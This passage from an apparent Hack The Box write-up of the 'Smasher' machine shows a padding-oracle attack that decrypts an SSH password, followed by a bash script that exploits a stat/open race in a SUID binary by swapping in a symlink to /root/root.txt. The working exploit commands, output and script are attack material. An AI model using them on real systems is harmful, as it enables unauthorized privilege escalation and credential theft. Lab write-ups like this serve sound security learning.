python smasher-padding-oracle.py -b 16 'irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==' 10.10.10.89
DEBUG:PadBuster:Processing block '\x8a\xb4fX\x1e\xe8%#\x1b\xb4\x10\xb8B\xea\x01\xd7'
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAAAAc4q0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAABtcIq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAGVscYq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAJGJrdoq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAABhJWNqd4q0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAHRiJmBpdIq0Zlge6CUjG7QQuELqAdc=
-------------8<-------------
INFO:PadBuster:Decrypted block 0: 'SSH password for'
-------------8<-------------
bytearray(b"SSH password for user \'smasher\' is: PaddingOracleMaster123\x06\x06\x06\x06\x06\x06")
Huzzah, we have credentials! An interesting note, those 6 \x06
’s are indicative of the PKCS7 method of padding block ciphers. If you want more information on the Padding Oracle Attack, check out The Padding Oracle Attack by Robert Heaton. It’s an excellent write-up of the vulnerability and the attack.
user: smasher
pass: PaddingOracleMaster123
\o/ - access level: smasher
After some basic enumeration, we come across a suid binary, /usr/bin/checker
. Running the binary shows us some output.
[+] Welcome to file UID checker 0.1 by dzonerzy
Missing arguments
Giving it a file as an argument gives us some additional information.
/usr/bin/checker /bin/ls
[+] Welcome to file UID checker 0.1 by dzonerzy
File UID: 0
Data:
ELF
There are two interesting things about the output. First is that the program appears to hang for a brief moment during execution. Second is that it is printing the contents of the file to the screen. It seems we have a program that has root privileges for reading from the filesystem.
Since it looks like this program can read anything, let’s see if we can just grab the flag now.
checker /root/root.txt
[+] Welcome to file UID checker 0.1 by dzonerzy
Acess failed , you don't have permission!
It’s not surprising that it isn’t that easy. Let’s take a closer look at what’s going on by using strace
.
strace
is a program used to trace system calls and signals. It runs the specified command until it exits. It intercepts and records the system calls which are called by a process. The name of each system call, its arguments and its return value are printed on STDERR. Running it on /usr/bin/checker
should provide us some insight into the program’s behavior.
strace -v -r /usr/bin/checker /bin/ls
strace options used:
-v
Print unabbreviated versions of environment, stat, termios, etc. calls.
-r
Print a relative timestamp upon entry to each system call. This records
the time difference between the beginning of successive system calls.
The output from strace
is pretty verbose, especially when used with a -v
option. I’ve stripped out some of the noise to allow us to focus on some of the more important syscalls.
1 0.000000 execve("/usr/bin/checker", ["/usr/bin/checker", "/bin/ls"], ["XDG_SESSION_ID=85", "TERM=xterm-256color", "SHELL=/bin/bash", "SSH_CLIENT=10.10.14.13 49436 22", "SSH_TTY=/dev/pts/0", "USER=smasher", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/smasher", "PATH=/home/smasher/bin:/home/sma"..., "PWD=/home/smasher", "LANG=en_US.UTF-8", "SHLVL=1", "HOME=/home/smasher", "LOGNAME=smasher", "SSH_CONNECTION=10.10.14.13 49436"..., "LESSOPEN=| /usr/bin/lesspipe %s", "XDG_RUNTIME_DIR=/run/user/1001", "LESSCLOSE=/usr/bin/lesspipe %s %"..., "_=/usr/bin/strace"]) = 0
2 -------------8<-------------
3 0.000181 getuid() = 1001
4 0.000175 fstat(1, {st_dev=makedev(0, 14), st_ino=3, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1001, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 0), st_atime=2018/11/07-03:09:28.418328275, st_mtime=2018/11/07-03:09:28.418328275, st_ctime=2018/11/07-00:38:36.418328275}) = 0
5 0.000205 brk(NULL) = 0x144a000
6 0.000137 brk(0x146b000) = 0x146b000
7 0.000166 write(1, "[+] Welcome to file UID checker "..., 48[+] Welcome to file UID checker 0.1 by dzonerzy
8) = 48
9 0.000226 write(1, "\n", 1
10) = 1
11 0.000175 stat("/bin/ls", {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
12 0.000177 access("/bin/ls", R_OK) = 0
13 0.000130 setuid(0) = -1 EPERM (Operation not permitted)
14 0.000123 setgid(0) = -1 EPERM (Operation not permitted)
15 0.000130 nanosleep({1, 0}, 0x7ffcea789e70) = 0
16 1.000377 open("/bin/ls", O_RDONLY) = 3
17 0.000215 fstat(3, {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
18 0.000237 fstat(3, {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
19 0.000182 lseek(3, 122880, SEEK_SET) = 122880
20 0.000116 read(3, "\30\336a\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\366\"@\0\0\0\0\0"..., 3704) = 3704
21 0.000140 lseek(3, 0, SEEK_SET) = 0
22 0.000131 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\240I@\0\0\0\0\0"..., 122880) = 122880
23 0.000233 read(3, "\30\336a\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\366\"@\0\0\0\0\0"..., 4096) = 3704
24 0.000150 close(3) = 0
25 0.000134 write(1, "File UID: 0\n", 12File UID: 0
26) = 12
27 0.000172 write(1, "\nData:\n", 7
28Data:
29) = 7
30 0.000201 write(1, "\177ELF\2\1\1", 7ELF) = 7
31 0.000216 exit_group(0) = ?
32 0.000135 +++ exited with 0 +++
Here’s a quick rundown of what we care about in the output above.
stat
the file passed via the command lineopen
the fileread
the contents of the filewrite
the contents of the file to STDOUTThere’s definitely a race condition here. The 1 second between the program calling stat
and calling open
allows us to swap a file we do have permission to read for one that we do not have permission to read.
The way ahead is pretty simple and outlined below.
checker
with that file as an argumentA simple bash script can handle this very well.
1#!/bin/bash
2
3allowed_to_read="${1}"
4
5# remove the file if it's already there
6if [[ -e "${allowed_to_read}" ]]
7then
8 rm "${allowed_to_read}"
9fi
10
11# [re]create the file
12touch "${allowed_to_read}"
13
14# run checker in the background
15/usr/bin/checker "${allowed_to_read}" &
16
17sleep .75
18rm "${allowed_to_read}"
19
20# link to the file we want to read
21ln -s /root/root.txt "${allowed_to_read}"
A quick run of our script above gets us the flag!
bash escalate.sh somefile
[+] Welcome to file UID checker 0.1 by dzonerzy
File UID: 1001
Data:
077...
\o/ - root read access
NOTE: There is supposedly a way to get a root shell by exploiting this binary. However, I was not able to get it working. I expect @ippsec will have a solution. I’ll come back and update this post with a link to his video when it goes live.
If you made it this far, congratulations! I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.